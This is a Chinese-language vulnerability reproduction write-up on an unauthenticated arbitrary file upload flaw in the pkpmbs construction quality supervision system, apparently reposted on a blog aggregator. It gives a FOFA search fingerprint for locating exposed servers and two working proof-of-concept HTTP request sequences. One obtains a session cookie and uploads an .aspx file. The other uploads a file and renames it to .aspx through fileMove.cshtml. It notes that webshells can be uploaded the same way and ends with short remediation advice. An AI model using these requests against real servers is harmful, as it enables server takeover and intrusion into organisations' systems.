当前位置: 首页 > article >正文

pkpmbs 建设工程质量监督系统 文件上传漏洞复现

0x01 产品简介

  pkpmbs 建设工程质量监督系统是湖南建研信息技术股份有限公司一个与工程质量检测管理系统相结合的,B/S架构的检测信息监管系统。

0x02 漏洞概述

 pkpmbs 建设工程质量监督系统 FileUpOrDown.aspx、/Platform/System/FileUpload.ashx、接口处存在任意文件上传漏洞,未经身份认证的攻击者可以利用漏洞上传恶意后门文件,从而获取服务器权限。

0x03 影响范围

标准版 <= 2.2023.0328.172228

0x04 复现环境

FOFA:icon_hash="2001627082"

0x05 漏洞复现 

PoC-1

GET /Login.cshtml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

获取有效cookie,绕过权限认证

携带cookie,上传文件 

POST /Applications/Forms/SearchSetting/FileUpOrDown.ashx?operation=Fileupload&extName=.aspx&&searchConfigName=上传的文件名 HTTP/1.1
Host: your-ip
Cookie: your-cookie
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Length: 185

------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: image/png

test
------WebKitFormBoundarybqACRhAMBHmQQAUP--

回显了上传路径,验证

Getshell

 

PoC-2 

POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqACRhAMBHmQQAUP
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="file"; filename="1.aspx"
Content-Type: image/png

test
------WebKitFormBoundarybqACRhAMBHmQQAUP
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------WebKitFormBoundarybqACRhAMBHmQQAUP--

PS:直接是不允许上传aspx文件,需要先上传txt、png等类型文件然后,转换文件格式 

上传png文件

转换文件类型

GET /Applications/SkillDevelopAndEHS/fileMove.cshtml?filePath=上传的文件名&factFilePath=1.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

 根据上面回显的路径验证

上传马子也是同样的姿势

0x06 修复建议

官方已修复该漏洞,请用户联系厂商升级至安全版本:http://www.hunanjianyan.com/

通过防火墙等安全设备设置访问策略,设置白名单访问。

如非必要,禁止公网访问该系统。


http://www.kler.cn/news/149958.html

相关文章:

  • QML TextField Button 属性 pyside6
  • 【hacker送书第4期】推荐4本Java必读书籍(各送一本)
  • async和await详解(C#)
  • “2024上海智博会、2024北京智博会”双展联动,3月上海,6月北京
  • Java面向对象第8天
  • LeetCode.24两两交换链表中的节点
  • Redis 入门和环境搭建
  • CentOS 7 部署 Nacos (单机版)
  • 基于springboot实现实习管理系统的设计与实现项目【项目源码+论文说明】
  • SpringBoot项目发送邮件
  • LeetCode无重复字符的最长字符串的Java实现
  • Python武器库开发-前端篇之JavaScript介绍(三十三)
  • linux 内核文件读写
  • oracle常用通用sql脚本——查询前用户的表空间信息
  • 快速操控鼠标行为!Vue鼠标按键修饰符让你事半功倍
  • Qt 自定义标题栏
  • UE 事件分发机制(二) day10
  • lightdb substr函数支持浮点类型
  • 基于Qt QChart和QChartView实现正弦、余弦、正切图表
  • Socket的实现过程
  • 【Python 训练营】N_11 模拟进度条
  • 【Vue】生命周期一文详解
  • WinApp自动化测试之工具的选择
  • java开发需要用到的软件,必备软件工具一览
  • Clickhouse使用总结
  • 搜索与图论算法总结
  • 基于C#实现优先队列
  • Ubuntu上的常用软件配置
  • 人工智能与供应链行业融合:预测算法的通用化与实战化
  • 如何使用ArcGIS Pro制作一张北极俯视地图